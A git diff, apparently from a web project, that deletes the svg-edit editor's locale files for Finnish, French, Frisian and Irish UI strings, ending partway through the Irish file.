-		"line_y1": "Muuta Linen alkaa y-koordinaatti",
-		"line_y2": "Muuta Linen päättyy y koordinoida",
-		"rect_height": "Muuta suorakaiteen korkeus",
-		"rect_width": "Muuta suorakaiteen leveys",
-		"corner_radius": "Muuta suorakaide Corner Säde",
-		"image_width": "Muuta kuvan leveys",
-		"image_height": "Muuta kuvan korkeus",
-		"image_url": "Muuta URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Muuta tekstin sisältö",
-		"font_family": "Muuta Font Family",
-		"font_size": "Muuta fontin kokoa",
-		"bold": "Lihavoitu teksti",
-		"italic": "Kursivoitu"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Vaihda taustaväri / sameuden",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Sovita Content",
-		"fit_to_all": "Sovita kaikki content",
-		"fit_to_canvas": "Sovita kangas",
-		"fit_to_layer_content": "Sovita kerros sisältöön",
-		"fit_to_sel": "Sovita valinta",
-		"align_relative_to": "Kohdista suhteessa ...",
-		"relativeTo": "suhteessa:",
-		"sivulta": "sivulta",
-		"largest_object": "Suurin kohde",
-		"selected_objects": "valittujen objektien",
-		"smallest_object": "pienin kohde",
-		"new_doc": "Uusi kuva",
-		"open_doc": "Avaa kuva",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Keskitä",
-		"align_left": "Tasaa vasemmalle",
-		"align_middle": "Kohdista Lähi",
-		"align_right": "Tasaa oikealle",
-		"align_top": "Kohdista Top",
-		"mode_select": "Valitse työkalu",
-		"mode_fhpath": "Kynätyökalu",
-		"mode_line": "Viivatyökalulla",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand suorakaide",
-		"mode_ellipse": "Soikion",
-		"mode_circle": "Ympyrään",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Työkalua",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Suurennustyökalu",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Kumoa",
-		"redo": "Tulppaamalla ilmakanavan",
-		"tool_source": "Muokkaa lähdekoodipaketti",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Tuoteryhmään Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Asiakirjan ominaisuudet",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Tallentaa",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Poista Layer",
-		"move_down": "Siirrä Layer alas",
-		"new": "New Layer",
-		"rename": "Nimeä Layer",
-		"move_up": "Siirrä Layer",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Valitse ennalta:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.fr.js b/public/svg-edit/editor/locale/lang.fr.js
deleted file mode 100644
index 445cfae3..00000000
--- a/public/svg-edit/editor/locale/lang.fr.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "fr",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Annuler",
-		"key_backspace": "Suppr.", 
-		"key_del": "Retour Arr.", 
-		"key_down": "Bas", 
-		"key_up": "Haut", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Montrer/Cacher plus d'outils de Contour",
-		"palette_info": "Cliquer pour changer la couleur de remplissage, Shift-Clic pour changer la couleur de contour",
-		"zoom_level": "Changer le niveau de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identifier l'élément",
-		"fill_color": "Changer la couleur de remplissage",
-		"stroke_color": "Changer la couleur du contour",
-		"stroke_style": "Changer le style du contour",
-		"stroke_width": "Changer la largeur du contour de 1, Shift-Click pour changer la largeur de 0.1",
-		"pos_x": "Changer la position horizontale X",
-		"pos_y": "Changer la position verticale Y",
-		"linecap_butt": "Terminaison : Sur le nœud",
-		"linecap_round": "Terminaison : Arrondie",
-		"linecap_square": "Terminaison : Carrée",
-		"linejoin_bevel": "Raccord : Biseauté",
-		"linejoin_miter": "Raccord : Droit",
-		"linejoin_round": "Raccord : Arrondi",
-		"angle": "Changer l'angle de rotation",
-		"blur": "Changer la valeur du flou gaussien",
-		"opacity": "Changer l'opacité de l'élément sélectionné",
-		"circle_cx": "Changer la position horizontale cx du cercle",
-		"circle_cy": "Changer la position verticale cy du cercle",
-		"circle_r": "Changer le rayon du cercle",
-		"ellipse_cx": "Changer la position horizontale cx de l'ellipse",
-		"ellipse_cy": "Changer la position verticale cy de l'ellipse",
-		"ellipse_rx": "Changer le rayon horizontal x de l'ellipse",
-		"ellipse_ry": "Changer le rayon vertical y de l'ellipse",
-		"line_x1": "Changer la position horizontale x de début de la ligne",
-		"line_x2": "Changer la position horizontale x de fin de la ligne",
-		"line_y1": "Changer la position verticale y de début de la ligne",
-		"line_y2": "Changer la position verticale y de fin de la ligne",
-		"rect_height": "Changer la hauteur du rectangle",
-		"rect_width": "Changer la largeur du rectangle",
-		"corner_radius": "Changer le rayon des coins du rectangle",
-		"image_width": "Changer la largeur de l'image",
-		"image_height": "Changer la hauteur de l'image",
-		"image_url": "Modifier l'URL",
-		"node_x": "Changer la positon horizontale x du nœud",
-		"node_y": "Changer la position verticale y du nœud",
-		"seg_type": "Changer le type du Segment",
-		"straight_segments": "Droit",
-		"curve_segments": "Courbe",
-		"text_contents": "Changer le contenu du texte",
-		"font_family": "Changer la famille de police",
-		"font_size": "Changer la taille de la police",
-		"bold": "Texte en gras",
-		"italic": "Texte en italique"
-	},
-	tools: { 
-		"main_menu": "Menu principal",
-		"bkgnd_color_opac": "Changer la couleur d'arrière-plan / l'opacité",
-		"connector_no_arrow": "Sans flèches",
-		"fitToContent": "Ajuster au contenu",
-		"fit_to_all": "Ajuster au contenu de tous les calques",
-		"fit_to_canvas": "Ajuster au canevas",
-		"fit_to_layer_content": "Ajuster au contenu du calque",
-		"fit_to_sel": "Ajuster à la sélection",
-		"align_relative_to": "Aligner par rapport à ...",
-		"relativeTo": "Relativement à:",
-		"Page": "Page",
-		"largest_object": "Plus gros objet",
-		"selected_objects": "Objets sélectionnés",
-		"smallest_object": "Plus petit objet",
-		"new_doc": "Nouvelle image",
-		"open_doc": "Ouvrir une image",
-		"export_png": "Exporter au format PNG",
-		"save_doc": "Enregistrer l'image",
-		"import_doc": "Importer un objet SVG",
-		"align_to_page": "Aligner l'élément relativement à la Page",
-		"align_bottom": "Aligner le bas des objets",
-		"align_center": "Centrer verticalement",
-		"align_left": "Aligner les côtés gauches",
-		"align_middle": "Centrer horizontalement",
-		"align_right": "Aligner les côtés droits",
-		"align_top": "Aligner le haut des objets",
-		"mode_select": "Outil de sélection",
-		"mode_fhpath": "Crayon à main levée",
-		"mode_line": "Tracer des lignes",
-		"mode_connect": "Connecter deux objets",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Rectangle main levée",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Cercle",
-		"mode_fhellipse": "Ellipse main levée",
-		"mode_path": "Outil Chemin",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Outil Texte",
-		"mode_image": "Outil Image",
-		"mode_zoom": "Zoom",
-		"mode_eyedropper": "Outil Pipette",
-		"no_embed": "NOTE: Cette image ne peut être incorporée en tant que données. Le contenu affiché sera celui de l'image située à cette adresse",
-		"undo": "Annuler l'action",
-		"redo": "Refaire l'action",
-		"tool_source": "Modifier la source",
-		"wireframe_mode": "Mode Fil de Fer",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grouper les éléments",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convertir en chemin",
-		"reorient_path": "Réorienter le chemin",
-		"ungroup": "Dégrouper les éléments",
-		"docprops": "Propriétés du document",
-		"imagelib": "Image Library",
-		"move_bottom": "Déplacer vers le bas",
-		"move_top": "Déplacer vers le haut",
-		"node_clone": "Cloner le nœud",
-		"node_delete": "Supprimer le nœud",
-		"node_link": "Rendre les points de contrôle solidaires",
-		"add_subpath": "Ajouter un sous-chemin",
-		"openclose_path": "Ouvrir/Fermer sous-chemin",
-		"source_save": "Appliquer Modifications",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"Retour Arr.": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Calque",
-		"layers": "Layers",
-		"del": "Supprimer le calque",
-		"move_down": "Descendre le calque",
-		"new": "Nouveau calque",
-		"rename": "Renommer le calque",
-		"move_up": "Monter le calque",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Déplacer éléments vers:",
-		"move_selected": "Déplacer les éléments sélectionnés vers un autre calque"
-	},
-	config: {
-		"image_props": "Propriétés de l'Image",
-		"doc_title": "Titre",
-		"doc_dims": "Dimensions du canevas",
-		"included_images": "Images incorporées",
-		"image_opt_embed": "Incorporer les images en tant que données (fichiers locaux)",
-		"image_opt_ref": "Utiliser la référence des images ",
-		"editor_prefs": "Préférences de l'Éditeur",
-		"icon_size": "Taille des icônes",
-		"language": "Langue",
-		"background": "Toile de fond de l'Éditeur",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: La toile de fond n'est pas sauvegardée avec l'image.",
-		"icon_large": "Grande",
-		"icon_medium": "Moyenne",
-		"icon_small": "Petite",
-		"icon_xlarge": "Super-Grande",
-		"select_predefined": "Sélectionner prédéfinis:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Valeur fournie invalide",
-		"noContentToFitTo":"Il n'y a pas de contenu auquel ajuster",
-		"dupeLayerName":"Il existe déjà un calque de ce nom !",
-		"enterUniqueLayerName":"Veuillez entrer un nom (unique) pour le calque",
-		"enterNewLayerName":"Veuillez entrer le nouveau nom du calque",
-		"layerHasThatName":"Le calque porte déjà ce nom",
-		"QmoveElemsToLayer":"Déplacer les éléments sélectionnés vers le calque '%s' ?",
-		"QwantToClear":"Voulez-vous effacer le dessin ?\nL'historique de vos actions sera également effacé !",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Il y a des erreurs d'analyse syntaxique dans votre code-source SVG.\nRevenir au code-source SVG avant modifications ?",
-		"QignoreSourceChanges":"Ignorer les modifications faites à la source SVG ?",
-		"featNotSupported":"Fonction non supportée",
-		"enterNewImgURL":"Entrer la nouvelle URL de l'image",
-		"defsFailOnSave": "NOTE : À cause d'un bug de votre navigateur, cette image peut être affichée de façon incorrecte (dégradés ou éléments manquants). Cependant, une fois enregistrée, elle sera correcte.",
-		"loadingImage":"Chargement de l'image, veuillez patienter...",
-		"saveFromBrowser": "Selectionner \"Enregistrer sous...\" dans votre navigateur pour sauvegarder l'image en tant que fichier %s.",
-		"noteTheseIssues": "Notez également les problèmes suivants : ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.fy.js b/public/svg-edit/editor/locale/lang.fy.js
deleted file mode 100644
index 18655a76..00000000
--- a/public/svg-edit/editor/locale/lang.fy.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "fy",
-	dir : "ltr",
-	common: {
-		"ok": "Ok",
-		"cancel": "Ôfbrekke",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "omleech", 
-		"key_up": "omheech", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klik om de folkleur te feroarjen, shift-klik om de linekleur te feroarjen.",
-		"zoom_level": "Yn-/útzoome",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Folkleur oanpasse",
-		"stroke_color": "Linekleur oanpasse",
-		"stroke_style": "Linestijl oanpasse",
-		"stroke_width": "Linebreedte oanpasse",
-		"pos_x": "X-koördinaat oanpasse",
-		"pos_y": "Y-koördinaat oanpasse",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Draaie",
-		"blur": "Change gaussian blur value",
-		"opacity": "Trochsichtigens oanpasse",
-		"circle_cx": "Feroarje it X-koördinaat fan it middelpunt fan'e sirkel.",
-		"circle_cy": "Feroarje it Y-koördinaat fan it middelpunt fan'e sirkel.",
-		"circle_r": "Feroarje sirkelradius",
-		"ellipse_cx": "Feroarje it X-koördinaat fan it middelpunt fan'e ellips.",
-		"ellipse_cy": "Feroarje it Y-koördinaat fan it middelpunt fan'e ellips.",
-		"ellipse_rx": "Feroarje ellips X radius",
-		"ellipse_ry": "Feroarje ellips Y radius",
-		"line_x1": "Feroarje start X koördinaat fan'e line",
-		"line_x2": "Feroarje ein X koördinaat fan'e line",
-		"line_y1": "Feroarje start Y koördinaat fan'e line",
-		"line_y2": "Feroarje ein Y koördinaat fan'e line",
-		"rect_height": "Hichte rjochthoeke oanpasse",
-		"rect_width": "Breedte rjochthoeke oanpasse",
-		"corner_radius": "Hoekeradius oanpasse",
-		"image_width": "Breedte ôfbielding oanpasse",
-		"image_height": "Hichte ôfbielding oanpasse",
-		"image_url": "URL oanpasse",
-		"node_x": "X-koördinaat knooppunt oanpasse",
-		"node_y": "Y-koördinaat knooppunt oanpasse",
-		"seg_type": "Segmenttype oanpasse",
-		"straight_segments": "Rjocht",
-		"curve_segments": "Bûcht",
-		"text_contents": "Tekst oanpasse",
-		"font_family": "Lettertype oanpasse",
-		"font_size": "Lettergrutte oanpasse",
-		"bold": "Fet",
-		"italic": "Skean"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Eftergrûnkleur/trochsichtigens oanpasse",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Passe op ynhâld",
-		"fit_to_all": "Op alle ynhâld passe",
-		"fit_to_canvas": "Op kanvas passe",
-		"fit_to_layer_content": "Op laachynhâld passe",
-		"fit_to_sel": "Op seleksje passe",
-		"align_relative_to": "Útlijne relatyf oan...",
-		"relativeTo": "Relatief tsjinoer:",
-		"Side": "Side",
-		"largest_object": "Grutste ûnderdiel",
-		"selected_objects": "Selektearre ûnderdielen",
-		"smallest_object": "Lytste ûnderdiel",
-		"new_doc": "Nije ôfbielding",
-		"open_doc": "Ôfbielding iepenje",
-		"export_png": "Export as PNG",
-		"save_doc": "Ôfbielding bewarje",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Ûnder útlijne",
-		"align_center": "Midden útlijne",
-		"align_left": "Lofts útlijne",
-		"align_middle": "Midden útlijne",
-		"align_right": "Rjochts útlijne",
-		"align_top": "Boppe útlijne",
-		"mode_select": "Selektearje",
-		"mode_fhpath": "Potlead",
-		"mode_line": "Line",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Frije rjochthoeke",
-		"mode_ellipse": "Ellips",
-		"mode_circle": "Sirkel",
-		"mode_fhellipse": "Frije ellips",
-		"mode_path": "Paad",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekst",
-		"mode_image": "Ôfbielding",
-		"mode_zoom": "Zoom",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Ungedien meitjse",
-		"redo": "Op 'e nij",
-		"tool_source": "Boarne oanpasse",
-		"wireframe_mode": "Triemodel",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Ûnderdielen groepearje",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Omsette nei paad",
-		"reorient_path": "Paad opnij orientearje",
-		"ungroup": "Groepering opheffe",
-		"docprops": "Dokuminteigenskippen",
-		"imagelib": "Image Library",
-		"move_bottom": "Nei eftergrûn",
-		"move_top": "Nei foargrûn",
-		"node_clone": "Knooppunt duplisearje",
-		"node_delete": "Knooppunt fuortsmite",
-		"node_link": "Knooppunten keppelje",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Feroarings tapasse",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Laach",
-		"layers": "Layers",
-		"del": "Laach fuortsmite",
-		"move_down": "Laach omleech bringe",
-		"new": "Nije laach",
-		"rename": "Laach omneame",
-		"move_up": "Laach omheech bringe",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Ûnderdielen ferplaate nei:",
-		"move_selected": "Selektearre ûnderdielen ferplaatse nei in oare laach"
-	},
-	config: {
-		"image_props": "Ôfbieldingseigenskippen",
-		"doc_title": "Titel",
-		"doc_dims": "Kanvasgrutte",
-		"included_images": "Ynslúten ôfbieldingen",
-		"image_opt_embed": "Ynformaasje tafoege (lokale triemen)",
-		"image_opt_ref": "Triemreferensje brûke",
-		"editor_prefs": "Eigenskippen bewurker",
-		"icon_size": "Ikoangrutte",
-		"language": "Taal",
-		"background": "Eftergrûn bewurker",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Let op: de eftergrûn wurd net mei de ôfbielding bewarre.",
-		"icon_large": "Grut",
-		"icon_medium": "Middel",
-		"icon_small": "Lyts",
-		"icon_xlarge": "Ekstra grut",
-		"select_predefined": "Selektearje:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Ferkearde waarde jûn",
-		"noContentToFitTo":"Gjin ynhâld om te passen",
-		"dupeLayerName":"Der is al in laach mei dy namme!",
-		"enterUniqueLayerName":"Type in unyke laachnamme",
-		"enterNewLayerName":"Type in nije laachnamme",
-		"layerHasThatName":"Laach hat dy namme al",
-		"QmoveElemsToLayer":"Selektearre ûnderdielen ferplaatse nei '%s'?",
-		"QwantToClear":"Ôfbielding leechmeitsje? Dit sil ek de skiednis fuortsmite!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Der wiene flaters yn de SVG-boarne.\nWeromgean nei foarige SVG-boarne?",
-		"QignoreSourceChanges":"Feroarings yn SVG-boarne negeare?",
-		"featNotSupported":"Funksje wurdt net ûndersteund",
-		"enterNewImgURL":"Jou de nije URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ga.js b/public/svg-edit/editor/locale/lang.ga.js
deleted file mode 100644
index 7f069481..00000000
--- a/public/svg-edit/editor/locale/lang.ga.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ga",
-	dir : "ltr",
-	common: {
-		"ok": "Sábháil",
-		"cancel": "Cealaigh",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Cliceáil chun athrú a líonadh dath, aistriú-cliceáil chun dath a athrú stróc",
-		"zoom_level": "Athraigh súmáil leibhéal",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Athraigh an dath a líonadh",
-		"stroke_color": "Dath stróc Athrú",
-		"stroke_style": "Athraigh an stíl Fleasc stróc",
-		"stroke_width": "Leithead stróc Athrú",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Uillinn rothlaithe Athrú",
-		"blur": "Change gaussian blur value",
-		"opacity": "Athraigh roghnaithe teimhneacht mír",
-		"circle_cx": "Athraigh an ciorcal a chomhordú CX",
-		"circle_cy": "Athraigh an ciorcal a chomhordú ga",
-		"circle_r": "Athraigh an ciorcal&#39;s ga",
-		"ellipse_cx": "Athraigh Éilips&#39;s CX a chomhordú",
-		"ellipse_cy": "Athraigh an Éilips a chomhordú ga",
-		"ellipse_rx": "Éilips Athraigh an gha x",
-		"ellipse_ry": "Éilips Athraigh an gha y",
-		"line_x1": "Athraigh an líne tosaigh a chomhordú x",
-		"line_x2": "Athraigh an líne deireadh x chomhordú",
-		"line_y1": "Athraigh an líne tosaigh a chomhordú y",
-		"line_y2": "Athrú ar líne deireadh y chomhordú",
-		"rect_height": "Airde dronuilleog Athrú",
-		"rect_width": "Leithead dronuilleog Athrú",
-		"corner_radius": "Athraigh Dronuilleog Cúinne na Ga",
-		"image_width": "Leithead íomhá Athrú",
-		"image_height": "Airde íomhá Athrú",
-		"image_url": "Athraigh an URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Inneachar Athraigh téacs",
-		"font_family": "Athraigh an Cló Teaghlaigh",
-		"font_size": "Athraigh Clómhéid",
-		"bold": "Trom Téacs",
-		"italic": "Iodálach Téacs"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Dath cúlra Athraigh / teimhneacht",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Laghdaigh do gach ábhar",
-		"fit_to_canvas": "Laghdaigh ar chanbhás",
-		"fit_to_layer_content": "Laghdaigh shraith ábhar a",
-		"fit_to_sel": "Laghdaigh a roghnú",
-		"align_relative_to": "Ailínigh i gcomparáid leis ...",
-		"relativeTo": "i gcomparáid leis:",
-		"leathanach": "leathanach",
-		"largest_object": "réad is mó",
-		"selected_objects": "réada tofa",
-		"smallest_object": "lú réad",
-		"new_doc": "Íomhá Nua",
-		"open_doc": "Íomhá Oscailte",
-		"export_png": "Export as PNG",
-		"save_doc": "Sábháil Íomhá",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Cineál Bun",
-		"align_center": "Ailínigh sa Lár",
-		"align_left": "Ailínigh ar Chlé",
-		"align_middle": "Cineál Middle",
